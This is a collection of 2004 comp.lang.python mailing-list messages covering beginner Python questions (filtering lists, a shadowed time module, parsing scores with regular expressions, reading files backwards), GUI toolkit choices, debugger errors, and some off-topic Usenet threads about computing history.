> for each in  dbases:
>     if each[-4:] <> ".dbf":
>             del each            # also tried:   del  dbases[x]
>     x = x + 1
> 
> I must be doing something wrong, but it acts as though it is....
> 
> signed
> . . . . . at the end of my rope....!
> 
>

When you iterate over a list with a for-loop as you do it,
you get a copy of "each" item of the list. What you're doing
is deleting this copy, which is bound to the variable *each*.
If you want to delete an item of a list you have to code:
del dbases[i]
e.g
Example 1:
for i in range(len(dbases)):
  if dbases[i][-4:] <> ".dbf":
    del dbases[i]

But now you'll get some trouble: Youre indexing dbases from 0 .. len(dbases),
but len(dbases) will change everytime you delete an item. So the better way
is to run over the list from the end.

Example 2:
for i in range(len(dbases)-1,-1,-1):
  if dbases[i][-4:] <> ".dbf":
    del dbasese[i]
No you delete items of dbases, where the item indexed by i still exist.

As others already pointed out it would be better to write your condition
in a more general form:

Example 3:
for i in range(len(dbases)-1,-1,-1):
  if dbases[i].endswith(".dbf"):
    del dbasese[i]

Or still better to generate a new list with 
listcomprehension
Example 4:
dbf_names=[name for name in dbases if name.endswith('.dbf')]
or the filter-function
Example 5:
dbf_names=filter(lambda name:name.endswith('.dbf'),dbases)

But I think the best way is to have in dbases only the filenames which
end with '.dbf' from the beginning. You can get this with the glob-modul
instead of os.listdir():

Example 6:
import glob
dbases=glob.glob('/any/path/or/directory/*.dbf')
You'll get only filenames in dbases which end with '.dbf' or
an empty list if there are none.

Regards
Peter


From melis at uni-muenster.de  Wed Sep 15 18:19:25 2004
From: melis at uni-muenster.de (Udo Melis)
Date: Thu, 16 Sep 2004 00:19:25 +0200
Subject: localtime import not working
Message-ID: <ciailp$a4m$1@sagnix.uni-muenster.de>

udo:/usr/lib/cgi-bin# python
Python 2.3.4 (#2, Jul 28 2004, 09:39:34)
[GCC 3.3.4 (Debian 1:3.3.4-4)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from time import localtime
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "/usr/lib/cgi-bin/time.py", line 3, in ?
NameError: name 'localtime' is not defined
>>>


What can i do?


From harry.g.george at boeing.com  Mon Sep 20 13:59:18 2004
From: harry.g.george at boeing.com (Harry George)
Date: Mon, 20 Sep 2004 17:59:18 GMT
Subject: Python as alternative to Visual Basic
References: <cin0d0$ani$1@avnika.corp.mot.com>
Message-ID: <xqxllf4q0sp.fsf@cola2.ca.boeing.com>

Aaron Ginn <aaron.ginn at freescale.com> writes:

> I'm investigating the feasibility of using Python instead of Visual
> Basic for a commercial software package that I'm planning on
> developing. Now I'm absolutely a Python zealot.  I use it for most of
> my software development at work where I work in a Solaris environment.
> To me, Python is the perfect language for most applications in a UNIX
> environment where a compiled language is not required.  However, I'm
> not so sure about Windows.
> 
> The software package I'm developing will make calls to Excel and
> Access and requires a very usable GUI for users who are not
> particularly computer literate.  My first question is: what is the
> best choice for a GUI toolkit on Windows?  I've used Tkinter for UNIX
> to some degree of success, but I'm not sure this is the best choice
> for Windows.  Second, if I choose to make the application
> cross-platform (Windows and Mac OS X in particular), what would be the
> best choice for a cross-platform GUI toolkit?  I was thinking of
> looking at PyQt.  Is there a better option?
> 
> Basically, I'm trying to make a case for Python to the other
> developers of this software package as I believe it offers numerous
> advantages over VB in terms of speed of development, a quick learning
> curve, and maintainability.  Can anyone help me make that case?
> 
> Thanks,
> Aaron

We do a lot of inhouse Win32 Python development.  Most of the projects
use PyQt via BlackAdder, with some in wxPython.  Python has been solid
for win32 com calls (that ordinarily would use VB).  Sometimes we have
to write a sample in VB to get the API understood, and then code it
cleanly in Python (esp. true for macro capture mechanisms, where the
COTS app generates VB.)

Just in terms of time-to-market it should be a winner, even if at some
point you have to port to some other language (more likely C# or Java
than VB).

We find an experienced programmer needs about 2 weeks to ramp up on
python.  Peer-level code reviews help in growing the team knowledge
level.

-- 
harry.g.george at boeing.com
6-6M21 BCA CompArch Design Engineering
Phone: (425) 342-0007


From deetsNOSPAM at web.de  Wed Sep  1 10:04:30 2004
From: deetsNOSPAM at web.de (Diez B. Roggisch)
Date: Wed, 01 Sep 2004 16:04:30 +0200
Subject: twisted signal handler override or cleanup code
Message-ID: <ch4kti$ug1$00$1@news.t-online.com>

Hi,

google doesn't give me anything on this, so I have to ask:

I've got a xmlrpc-server running using twisted. Using the cookbook-recipe
for daemonizing, it stores a file with its pid when in daemon mode.

Now I want to remove that file when the server is shutdown - this boils down
to the twisted reactors run()-method beeing terminated.

Unfortunately, twisted sets its on signal handlers, so killing my app
doesn't allow me to perform cleanup-code. I'm sure there are good reasons
for that, and I'm actually not interested in signals especially - but there
must be some way to install a sort of callback when the reactor gets down,
for whatever reason.

But as I said, no docs on that. 

-- 
Regards,

Diez B. Roggisch


From steveo at eircom.net  Tue Sep  7 14:21:21 2004
From: steveo at eircom.net (Steve O'Hara-Smith)
Date: Tue, 7 Sep 2004 19:21:21 +0100
Subject: Xah Lee's Unixism
References: <slrncj1745.t5q.amajorel@atc5.vermine.org>
	<413c5b9c$0$19705$61fed72c@news.rcn.com>
	<1s4ihc.4i4.ln@via.reistad.priv.no>
	<opsdxecgt8pqzri1@mjolner.upc.no>
	<t7mjhc.ubd.ln@via.reistad.priv.no>
Message-ID: <20040907192121.61dbf949.steveo@eircom.net>

On Tue, 07 Sep 2004 07:00:23 GMT
Morten Reistad <firstname at lastname.pr1v.n0> wrote:

> Since I am on a roll with timelines; just one off the top of my head : 
> 
> Project start     : 1964
> First link        : 1969
> Transatlantic     : 1972 (to Britain and Norway)
> Congested         : 1976
> TCP/IP            : 1983 (the effort started 1979) (sort of a 2.0 version)
> First ISP         : 1983 (uunet, EUnet followed next year)
> Nework Separation : 1983 (milnet broke out)
> Large-scale design: 1987 (NSFnet, but still only T3/T1's)
> Fully commercial  : 1991 (WIth the "CIX War")
> Web launced       : 1992
> Web got momentum  : 1994
> Dotcom bubble     : 1999 (but it provided enough bandwith for the first time)
> Dotcom burst      : 2001

	One thing I always found amusing is the amount of science *fiction*
written in the first half of this period about what would happen if the
worlds computers became linked together.

-- 
C:>WIN                                      |   Directable Mirror Arrays
The computer obeys and wins.                | A better way to focus the sun
You lose and Bill collects.                 |    licences available see
                                            |    http://www.sohara.org/


From opengeometry at yahoo.ca  Wed Sep  8 02:11:07 2004
From: opengeometry at yahoo.ca (William Park)
Date: 8 Sep 2004 06:11:07 GMT
Subject: Remove items from a list
References: <ysv%c.32876$Dl4.14767@fe2.texas.rr.com>
	<KOv%c.104$GRm.52@news04.bloor.is.net.cable.rogers.com>
	<yWv%c.33126$Dl4.19812@fe2.texas.rr.com>
	<wzw%c.14064$It2.9861@fe2.texas.rr.com>
Message-ID: <2q7m3qFrkbvvU1@uni-berlin.de>

Paul McGuire <ptmcg at austin.rr._bogus_.com> wrote:
> "Stan Cook" <scook at elp.rr.com> wrote in message
> news:yWv%c.33126$Dl4.19812 at fe2.texas.rr.com...
> > Yes, I used the listdir.  The list is a list of files in the
> > directory.  I want to filter everything out but the ".dbf"
> > files.
> >
> 
> You said the answer yourself - "I want to _filter_ everything out but
> the ".dbf" files."
> 
> Use filter built-in, and use str's endswith() method in place of [-4:]
> list slicing.
> 
> dirlist = [ "a.txt", "b.txt", "c.dbf", "d.txt", "e.dbf" ]
> isdbf = lambda x : x.endswith(".dbf")
> print filter( isdbf, dirlist )
> 
> gives:
> 
> ['c.dbf', 'e.dbf']

Off topic... but if OP is interested in shell solution comparable to
above, then there are two I can offer:

    dirlist=( a.txt b.txt c.dbf d.txt e.dbf )

    1.  echo ${dirlist[*]|/*.dbf}

    2.  func () {
	    [[ $1 == *.dbf ]]
	}
	arrayfilter func dirlist

    3.	for i in ${dirlist[*]}; do
	    [[ $1 == *.dbf ]] && echo $i
	done

The first is shell version of Python's list comprehension, the second is
shell version of Python's filter(), and the third is standard loop
solution.

Ref:
    http://freshmeat.net/projects/bashdiff/
    help '${var|'
    help arrayfilter

-- 
William Park <opengeometry at yahoo.ca>
Open Geometry Consulting, Toronto, Canada


From indigo at bitglue.com  Fri Sep  3 17:52:54 2004
From: indigo at bitglue.com (Phil Frost)
Date: Fri, 3 Sep 2004 17:52:54 -0400
Subject: How to actually write a program?
In-Reply-To: <chano0$1gv$1@sparta.btinternet.com>
References: <chano0$1gv$1@sparta.btinternet.com>
Message-ID: <20040903215254.GA13422@unununium.org>

How does a composer write a song? He might know the overall sound of the
song, so he might start by playing it on a piano. Then he might work on
the strings part, and a general chord progression. Then add some
woodwinds, building the song piece by piece until all the small parts
are assembled to a greater whole.

Writing a program is no different. You must first break your song in to
parts. It's a highly creative process, and it's not something that can
be taught. Find yourself a nice, quiet room, and a time when you arn't
distracted by anything. Think of the greater problem and try to divide
it into smaller pieces. This division is the hardest part of
programming; expressing the ideas in code becomes as natural as speech
with practice. After some reflection your path should become clear.

On Fri, Sep 03, 2004 at 09:29:36PM +0000, Nick Evans wrote:
> Hello there,
> I have been on and off learning to code (with python being the second
> language I have worked on after a bit of BASIC). What I really want to know
> is, if you are going to actually write a program or a project of some sort,
> how do you actually start.
> 
> Picture this, you know what you want the program to do (its features), you
> have a possably rough idea of how the program will work. You have opened an
> empty text file and saved it as 'mykewlprogram.py' and now your sitting in
> front of an empty text file... Now then.... where do I start.
> 
> Any ideas about this problem :-)
> 
> Ta
> Nick


From javier_ruere at HotPOP.com  Thu Sep 30 07:56:14 2004
From: javier_ruere at HotPOP.com (Javier Ruere)
Date: Thu, 30 Sep 2004 08:56:14 -0300
Subject: Quiero empezar con python pero quisiera saber...
In-Reply-To: <BAY10-DAV24p20N39x600000f25@hotmail.com>
References: <BAY10-DAV24p20N39x600000f25@hotmail.com>
Message-ID: <415BF45E.2060407@HotPOP.com>

Empresa NewMinds wrote:
> objetiva si con python  puedo encontrar la misma robutez la misma
> sencillez que tiene un lenguaje como por ejemplo java. si puedo

  Con respecto al lenguaje en si, en mi opini?n, Python es m?s sencillo
que Java. No se a que te refer?s con robustes. Que no falle el
int?rprete? Nunca me fall? en los 2 a?os que lo vengo usando.

> encontrar la misma velocidad y rendimiento en cuanto interfaces como
> visual basic. quisiera saber como es el manejo de bases de datos facil???

  Hay muchas interfaces. Tendr?as que ver cual te gusta m?s. WxPython me
gust? mucho y con Boa Constructor es muy sencillo realizar GUIs aunque
personalmente prefiero wxGlade ya que me permite separar mejor el c?digo
de la interfaz gr?fica del resto del programa.
  El manejo de bases de datos es muy bueno pero wxPython por lo menos no
tiene controles que se puedan relacionar con la base de datos
directamente como se podr?a hacer en VB.

> python tiene algun programa que haga reportes como el JasperReport para
> java???

  No conozco esa aplicaci?n.

>  Algun dise?ador de interfaz???? Python usa punteros?????

  Boa Constructor, PythonCard, wxGlade y seguramente varios m?s.

Saludos,
	Javier


From zanesdad at bellsouth.net  Fri Sep 24 09:33:36 2004
From: zanesdad at bellsouth.net (Jeremy Jones)
Date: Fri, 24 Sep 2004 09:33:36 -0400
Subject: theme of the week:  tools
In-Reply-To: <QcudnRef363plc7cRVn-vg@powergate.ca>
References: <mailman.3802.1095960335.5135.python-list@python.org>
	<QcudnRef363plc7cRVn-vg@powergate.ca>
Message-ID: <41542230.3070808@bellsouth.net>

Since a recurring theme this week has been tools, or Python's _obvious_ 
lack of good tools ;-) (which isn't so obvious to some of us) , it's got 
me wondering.  What tools do Python developers use and consider 
indispensable to helping them write code better* - and what features of 
those tools would you have a hard time living without?  (I hope I'm not 
going to start a holy war between hardcore Vi and Emacs folks here...)

Personally, I use vim/gvim as my primary editor.  Features I would have 
a hard time living without are (and I know that a lot of these are 
available on most decent editors):

    * split window editing
    * powerful search and replace that is simple to use
    * column editing
    * multiple position marking and instant navigation back to any
      marked position
    * auto-indent
    * indent/unindent highlighted code
    * key mappings - this is one of the biggest reasons I continue to
      use vim.  While the key mappings are counterintuitive to learn
      (why would you type a "k" to go up, "j" to go down, etc), once you
      get it, it's just so natural and doesn't feel like you're
      contorting your hands to do stuff.  I've tried several times to
      like emacs, but every time I do, the key bindings just feel
      abnormal (C-<anything> is typically OK - but M-<anything> just
      feels weird...feels like my fingers are stumbling over one
      another....).  And, yes, I've tried vi mode and viper.
    * easy highlighting of text
    * easy copy and past
    * multiple registers (clipboards kinda) for storing text
    * repeat last modification (.)
    * map command for creating macros
    * bracket matching (with %)
    * probably tons more.....

Another tool that I use that I just started using but I'm finding 
indispensable is IPython.  Features:

    * tab completion - this is probably the hugest benefit.
    * executes (some? all?) OS commands without having the exit out -
      tab completion works on filesystem paths here
    * probably more....but I'm still digging into this


Other "tools":

    * Python debugger (pdb)
    * PyChecker
    * Epydoc
    * Google
    * Python Site - library reference
    * C.L.P


That's all I can think of for now....

Jeremy Jones

*better = more productive, higher quality, easier maintainability, 
easier refactoring, etc.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20040924/62831dbf/attachment.html>

From ksenia at ksenia.nl  Sun Sep 26 13:49:41 2004
From: ksenia at ksenia.nl (Ksenia Marasanova)
Date: Sun, 26 Sep 2004 19:49:41 +0200
Subject: convert flat structure into hierarchical one
Message-ID: <719604C6-0FE4-11D9-8AD4-000A957911BC@ksenia.nl>

I get this kind of list from a database. (The tuple structure is: id, 
name, parent_id)

[(1, 'grandparent', None), (2, 'parent', 1), (3, 'otherparent', 1), (4, 
'child', 3)]

I would like to transfer it (in Python) into a tree structure. I don't 
care much about format, as long as I'll be able to get all the 
information, based on one id. For example, if I have id=3, I want to 
get
- name ('otherparent')
- children (one child, with id=4, name='child')
- parent id

Any tips? Recipes? ;-)


Thanks,
Ksenia.



From padmaja at agere.com  Thu Sep 16 08:01:08 2004
From: padmaja at agere.com (Jayanthi, Satya Padmaja (Satya Padmaja))
Date: Thu, 16 Sep 2004 17:31:08 +0530
Subject: "Debug Assertion Failed!" - TCL-Python_hardware...
Message-ID: <DFCB7C708B1AA94FABFBF6E1F7E984542E6E1C@iiex2ku01.agere.com>

Hi :

I am facing with the following problem. Can anyone please give me some
ideas on how to solve it ?

I have a hardware, which can be controlled using TCL commands. I am
writing a python script which calls the relavant TCL commands and in
turn controls the hardware. I am using Tkinter as an interface to the
Python and TCL scripts. 

The python script runs very well, without any problem. But, at the end
of the run, a window pops up with an error message. The message is as
follows: 
	"Debug Assertion Failed !!!

	Program : F\Python23\python.exe
 	File : dbgheap.c
 	Line : 1044

 	Expression : _CrtIsValidHeapPointer(pUserData)..."

My Python script looks something like this :

import Tkinter

root = Tkinter.Tk()
root.tk.eval('source tcl_file.tcl')
userName = 'abc'
root.tk.eval('Init_hardware %s' %(userName))

My TCL functions :

proc Init_hardware {userName} {
    load "hardware_name.dll" hardware_name_pkg

    # This line actually initializes the hardware
    hardware_name init -user userName
}

Any ideas will be highly appreciated. 
Thanks in advance.



-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20040916/aeb50e78/attachment.html>

From askari at addressNonValide.com  Sun Sep 19 08:34:36 2004
From: askari at addressNonValide.com (Askari)
Date: Sun, 19 Sep 2004 12:34:36 GMT
Subject: sys.setdefaultencoding(name)
References: <Xns9568641F5C869askariaddressNonVali@207.35.177.135>
	<Xns9568A73F4BFF9cpl19ghumspamgourmet@195.20.224.116>
Message-ID: <Xns956957916F419askariaddressNonVali@207.35.177.135>

Harald Massa <cpl.19.ghum at spamgourmet.com> wrote in
news:Xns9568A73F4BFF9cpl19ghumspamgourmet at 195.20.224.116: 

> My solution is to grab site.py, dig up "default encoding" and change
> from imperalistic ASCII to LATIN-1. 

euh... I try (the line #2 and #3 in my ".py"):
"""
import site
site.encoding = "latin_1"
"""

but I have this error when I modify a widget (with keyboard) I have this 
error :
"""
UnicodeDecodeError: 'ascii' codec can't decode byte 0xc9 in position 0: 
ordinal not in range(128)
"""

Why?
And, I do the good think? (site.encoding = "latin_1")


Askari


From guettli at thomas-guettler.de  Fri Sep 17 05:16:38 2004
From: guettli at thomas-guettler.de (Thomas Guettler)
Date: Fri, 17 Sep 2004 11:16:38 +0200
Subject: How to go about developing in zope
References: <4c900ea0.0409160754.2158e732@posting.google.com>
Message-ID: <pan.2004.09.17.09.16.38.671342@thomas-guettler.de>

Am Thu, 16 Sep 2004 08:54:16 -0700 schrieb john:

> Hi
> I am developing a timesheet system.
> It will have 3 levels of access 
> 1)Administrator
> 2)Approver -- Will approve or reject the timesheet filled by employees
> 3)Employees -- Fill in the timesheet which will ontain info like start
> time & end for task & task description.
> There will be different projects with different employees & approvers
> Also I need to genrate reports like timesheet for an employee for this
> particular week or month.Or timesheet of a project etc..
> 
> Is zope suitable for such kind of application?
> I read the zope book & now I am more confused.

Hi,

You can use ZODB without Zope, too.

I use quixote and ZODB with some small parts from
dulcinea (method start_request). I switched to this
after using zope for more than one year.

This is much simpler to debug than Zope.

HTH,
 Thomas



From jmfbahciv at aol.com  Thu Sep  2 07:49:43 2004
From: jmfbahciv at aol.com (jmfbahciv at aol.com)
Date: Thu, 02 Sep 04 11:49:43 GMT
Subject: Xah Lee's Unixism
References: <7fe97cc4.0408251356.34f2102a@posting.google.com>
	<4134a207$0$65568$a1866201@newsreader.visi.com>
	<j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net>
	<4135ce4a$0$19726$61fed72c@news.rcn.com>
	<ApudnfQdCY-dfavcRVn-pQ@speakeasy.net>
Message-ID: <41371ba4$0$19723$61fed72c@news.rcn.com>

In article <ApudnfQdCY-dfavcRVn-pQ at speakeasy.net>,
   rpw3 at rpw3.org (Rob Warnock) wrote:
><jmfbahciv at aol.com> wrote:
>+---------------
>| rpw3 at rpw3.org (Rob Warnock) wrote:
>| >| Consider the "PIP" command.
>| >+---------------
>| >
>| >Indeed. And COPY & DEL & DIR, etc.
>| 
>| Well, not quite :-).  COPY and DELETE called PIP via a CCL
>| command.  DIRECT became its own program.  To do a directory
>| using PIP required a switch and wasn't a monitor level command.
>+---------------
>
>Yes, I knew that. What I was trying to convey is that the *names*
>of those DOS commands had also been copied from the DEC lineages.
>That is, COPY/DEL/DIR rather than cp/rm/ls.

IIRC, those verbs didn't show up until after 4S72 of TOPS-10 (it
wasn't TOPS-10 back then either).  I would also suspect that 
the PIP didn't originate at DEC either.  A lot of those guys
did work at MIT before they coalasced into a startup company.

My whole point is that attributing who started it is not
as interesting as how the "it" flowed through the biz.

/BAH

Subtract a hundred and four for e-mail.


From squirrel at WPI.EDU  Wed Sep  1 11:54:41 2004
From: squirrel at WPI.EDU (Christopher T King)
Date: Wed, 1 Sep 2004 11:54:41 -0400
Subject: I've seen things you people wouldn't believe... ;-) (was Re:
 age of Python programmers)
In-Reply-To: <896dnZfdH8-l1rbcRVn-qw@powergate.ca>
References: <20040819231139.D039A1E4003@bag.python.org>
	<mailman.1999.1092969866.5135.python-list@python.org>
	<eyqWc.223375$j62.10948731@phobos.telenet-ops.be>
	<qVAWc.2328$MR2.9560@news1.mts.net>
	<njemi0hrm3jb1kdc8mhg8krd9a4qu3e894@4ax.com>
	<896dnZfdH8-l1rbcRVn-qw@powergate.ca>
Message-ID: <Pine.LNX.4.44.0409011131230.23334-100000@ccc4.wpi.edu>

On Tue, 24 Aug 2004, Peter Hansen wrote:

> Andrea Griffini wrote:
> > I've seen things you people wouldn't believe... ;-)
> 
> I think many of us would believe it.  We've been there.

Agreed.

> How many could post stories of companies without
> any form of revision control, except perhaps those
> printouts in Winnifred's bottom drawer from last year?

I certainly could.

> Or people who resorted to print statements during

Hey, print statements are a perfectly valid form of debugging! :)

If you want a story though, I interned at a Windows shop these past two
summers, where all their programming was done in VB embedded in Word
documents, or in a third-party supplied castrated version of VB (on the PC
side, that is; they still use COBOL on their mainframes).

They had this one script (a VB program in a Word document) whose sole
purpose was to watch some directories and upload files placed there to an
FTP server, possibly mangling CSV files into Excel or Word format.  This
thing was a 1000-line-long beast which took forever to run and wasn't very
reliable.  My job was to maintain it.

For some reason I had made my changes under a different username than that
which was used to run it.  For about a week, we couldn't figure out why
none of my changes were taking effect.  We finally discovered that the
Word document didn't actually contain any code:  rather, all the code was
kept in the standard document template, and was executed when opening any 
Word document.  One of the first things the script did was to check if the 
name of the file that was opened was the one that we had assumed contained 
the script, and only executed the rest of the code if this was true.  
Since each user has their own document template file, this explained our 
problem.

Fed up with the beast, I promptly rewrote the thing in Perl (which is what 
they had technically hired me for); it was 1/10 the size and 10x faster 
(literally!), but no-one would hear anything of it (despite repeated 
explanations that It Really Worked! and Yes, You Really Do Have Perl 
Installed On Your Network Drive!).

But now that's just getting way off-topic :P



From fernandoSPAM.YOURSELF at fernando-rodriguez.com  Sat Sep  4 11:02:45 2004
From: fernandoSPAM.YOURSELF at fernando-rodriguez.com (Fernando Rodríguez)
Date: Sat, 04 Sep 2004 17:02:45 +0200
Subject: Stepping through a multithreaded program
Message-ID: <k3mjj0dv2tc5ee7e2aqpls1p0dv6idu68m@4ax.com>

Hi,

I was trying to step through a first attemp of multithreaded script (see
below), with PythonWin, but I'm gettign a very strange error:

---------------------------------------------------------------------------------
import threading

times = 100
delay = 10000

class egoistThread(threading.Thread):
    def __init__(self, id, times, delay):
        threading.Thread.__init__(self)
        self.id = id
        self.times = times
        self.delay = delay
    def run(self):
        for i in xrange(self.times):
            print self.id,
            for j in xrange(self.delay):
                pass

egoists = []
for elt in 'abc':
    egoists.append(egoistThread(elt, times, delay))

"""
When I reach this point, I get a weird error see below
"""
for ego in egoists:
    ego.start()


for ego in egoists:
    ego.join()
------------------------------------------------------------------------------

The error is:
Traceback (most recent call last):
  File
"C:\ARCHIV~1\python23\lib\site-packages\Pythonwin\pywin\framework\dbgcommands.py",
line 65, in OnStepOver
    self._DoOrStart("do_set_next", scriptutils.RS_DEBUGGER_STEP)
  File
"C:\ARCHIV~1\python23\lib\site-packages\Pythonwin\pywin\framework\dbgcommands.py",
line 57, in _DoOrStart
    method()
  File
"C:\ARCHIV~1\python23\lib\site-packages\Pythonwin\pywin\debugger\debugger.py",
line 629, in do_set_next
    if self.GUIAboutToRun():
  File
"C:\ARCHIV~1\python23\lib\site-packages\Pythonwin\pywin\debugger\debugger.py",
line 788, in GUIAboutToRun
    if not self.StopDebuggerPump():
  File
"C:\ARCHIV~1\python23\lib\site-packages\Pythonwin\pywin\debugger\debugger.py",
line 484, in StopDebuggerPump
    assert self.pumping, "Can't stop the debugger pump if Im not pumping!"
AssertionError: Can't stop the debugger pump if Im not pumping!

Any ideas? O:-)


From opengeometry at yahoo.ca  Fri Sep 10 10:53:32 2004
From: opengeometry at yahoo.ca (William Park)
Date: 10 Sep 2004 14:53:32 GMT
Subject: Using re to get data from text file
References: <pan.2004.09.10.14.29.26.175980@yahoo.com>
Message-ID: <2qdtfbFto5rlU1@uni-berlin.de>

Jocknerd <jocknerd1 at yahoo.com> wrote:
> I'm a Python newbie and I'm having trouble with Regular Expressions when
> reading in a text file.  Here is a sample layout of the input file:
> 
> 09/04/2004  Virginia              44   Temple               14
> 09/04/2004  LSU                   22   Oregon State         21
> 09/09/2004  Troy State            24   Missouri             14
> 
> As you can see, the text file contains a list of games.  Each game has a
> date, a winning team, the winning team's score, the losing team, and the
> losing team's score.  If I set up my program to import the data with fixed
> length format's its no problem.  But some of my text files have different
> layouts.  For instance, some only have one space between a team name and
> their score.
> 
> Here's how I read in the file using fixed length fields:
> 
> filename = sys.argv[1]
> file = open (filename, 'r')
> 
> schedule = []     # make a list called schedule
> 
> while True:
>     line = file.readline()
>     if not line: break
>     game = {}     # make a dictionary called game
>     game['date']   = line[0:10]   # fixed length field
>     game['team1']  = string.strip (line[12:40])
>     game['score1'] = line[40:42]
>     game['team2']  = string.strip (line[44:72])
>     game['score2'] = line[72:74]
>     schedule.append(game)
> 
> file.close()
> 
> Note:  I'm stripping whitespace from the team names because I don't want
> the team name to actually be a fixed length.
> 
> How would I set this up to read in the data using Regular expressions?
> 
> I've tried this:
> 
> while True:
>     line = file.readline ()
>     if not line: break
>     game = {}
>     datePattern = re.compile('^(\d{2})\D+(\d{2})\D+(\d{4})')
> 
> Here's where I get stuck.  What do I do from here?  I just don't know how
> to import the text and assign it to the proper fields using the re module.


Your format is a bit complicated since team's name can be variable
words.  But, I'm assuming that they don't have any digit as part of
their name.  So, use '\d+' to separate the fields.  Eg.
    re.split ('\d+', line)
    re.split ('(\d+)', line)
    re.split ('(\d+)', line[10:])

-- 
William Park <opengeometry at yahoo.ca>
Open Geometry Consulting, Toronto, Canada


From wjjeonk at hotmail.com  Thu Sep 30 16:31:29 2004
From: wjjeonk at hotmail.com (Jay)
Date: Thu, 30 Sep 2004 16:31:29 -0400
Subject: Reading a text file backwards
Message-ID: <cjhqf2$9l1$1@news-int.gatech.edu>

I have a very large text file (being read by a CGI script on a web server),
and I get memory errors when I try to read the whole file into a list of
strings. The problem is, I want to read the file backwards, starting with
the last line.

Previously, I did:

myfile = open('myfile.txt', 'r')
mylines = myfile.readlines()
myfile.close()
for line in range(len(mylines)-1, -1, -1):
    # do something with mylines[line]

This, however caused a "MemoryError," so I want to do something like

myfile = open('myfile.txt', 'r')
for line in myfile:
    # do something with line
myfile.close()

Only, I want to iterate backwards, starting with the last line of the file.
Can anybody suggest a simple way of doing this? Do I need to jump around
with myfile.seek() and use myfile.readline() ?






From newsgroups at jhrothjr.com  Tue Sep 28 18:43:53 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Tue, 28 Sep 2004 17:43:53 -0500
Subject: Python 2.4b1 release date?
References: <87is9ykt9c.fsf@pobox.com>
Message-ID: <10ljq9af7ge81d0@news.supernews.com>


"John J. Lee" <jjl at pobox.com> wrote in message 
news:87is9ykt9c.fsf at pobox.com...
> Anybody know when 2.4b1 is currently planned for release?
>
> I'm sure I saw somebody in python-dev mention a date, but I can't find
> that post now.

Look at PEP 320, which is the 2.4 release schedule.
It currently says October 12.

John Roth
>
>
> John 



From chrisks at NOSPAM.udel.edu  Wed Sep  1 15:43:13 2004
From: chrisks at NOSPAM.udel.edu (Chris S.)
Date: Wed, 01 Sep 2004 19:43:13 GMT
Subject: Debunking Art - fraudster with python AI engine?
References: <4128f60b$1@news.unimelb.edu.au> <4133ff91$1@news.unimelb.edu.au>
	<4135567e$1@news.unimelb.edu.au>
Message-ID: <4136264b$1@news.unimelb.edu.au>

Nick wrote:

> Well, if I were using a cryptographic library, I wouldn't dare claim I
> were a cryptographer. I may say that I had written an application that
> uses a third party cryptographic component... I think in this context
> he is using the fact that the chances of a technical person
> questioning his work are extremely slim.

Did he claim to be an AI expert? From the description you gave of the 
"engine", it would seem little or no AI study would be necessary for 
such a trivial implementation. Either way, lying or not, such a setup is 
unlikely to do him any good in the long run. If anything, you should 
have had a little fun with him and questioned him thoroughly, trying to 
trip him up if he was indeed faking.

[ comp.ai is moderated.  To submit, just post and be patient, or if ]
[ that fails mail your article to <comp-ai at moderators.isc.org>, and ]
[ ask your news administrator to fix the problems with your system. ]


From jmfbahciv at aol.com  Wed Sep  8 07:45:05 2004
From: jmfbahciv at aol.com (jmfbahciv at aol.com)
Date: Wed, 08 Sep 04 11:45:05 GMT
Subject: Xah Lee's Unixism
References: <YLednXSn7obciqrcRVn-og@powergate.ca> <41376B82.C6A202FC@yahoo.com>
	<P5GdnU8q-8Sw66rcRVn-qg@powergate.ca>
	<0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com>
	<ur7pks59p.fsf@mail.comcast.net>
	<8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net>
	<3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com>
	<u8ybrrzqd.fsf@mail.comcast.net>
	<ruehj05n8i2afsgnk9frq9bp98n520jl55@4ax.com>
	<uzn47qezk.fsf@mail.comcast.net>
	<rbnhj01438rv46f2op40gsdkcvfh7u6sgo@4ax.com>
	<4139561C.F52D4E4@yahoo.com>
	<10srj09tdkvim71i677g7eh7b2nk1qkmfm@4ax.com>
Message-ID: <413f03cc$0$6914$61fed72c@news.rcn.com>

In article <10srj09tdkvim71i677g7eh7b2nk1qkmfm at 4ax.com>,
   Alan Balmer <albalmer at att.net> wrote:
>On Sat, 04 Sep 2004 06:02:03 GMT, CBFalconer <cbfalconer at yahoo.com>
>wrote:
>
>>Alan Balmer wrote:
>>> 
>>... snip ...
>>> 
>>> I'm not a fan of Mr Hatch, but blaming him for the shuttle
>>> disaster(s) is somewhat over the top. Why not blame President
>>> Bush? That's the popular thing nowadays.
>>
>>Alright, if you insist.  But is it really necessary?  We can find
>>adequate charges without reaching very hard.
>
>Then why are so many people reaching so hard?

It's apparently having the desired effect.  The subject of
the radio talk show last night was about the results of a poll
where 41% of the people asked (New York state residents) believed 
that Bush and Co. knew that the WTC was going to be attacked and 
did nothing to prevent it.  The Bush-bashing is working.  The
Democrats are opening the city gates to the barbarians.

/BAH



From martin at v.loewis.de  Sat Sep  4 07:35:29 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sat, 04 Sep 2004 13:35:29 +0200
Subject: Method returning new instance of class?
In-Reply-To: <4Jh_c.4378$Wv5.950@newsread3.news.atl.earthlink.net>
References: <4Jh_c.4378$Wv5.950@newsread3.news.atl.earthlink.net>
Message-ID: <4139a87a$0$30204$9b622d9e@news.freenet.de>

Arthur wrote:
> Essentially I am trying to create a non-destructive tranformation of an
> instance of a class - is one way of putting it.
> 
> The way I am currently conceptualizing a solution, what I need is a method
> of the class that returns a new instance of the class.

So you want a copy of the object. I'd use copy.copy for this, perhaps
copy.deepcopy.

Regards,
Martin


From aleaxit at yahoo.com  Mon Sep 20 10:39:19 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Mon, 20 Sep 2004 16:39:19 +0200
Subject: Inheritance question
References: <eaB3d.12433$pA.483376@news20.bellglobal.com>
Message-ID: <1gkf7az.dsd2o51wv1u3mN%aleaxit@yahoo.com>

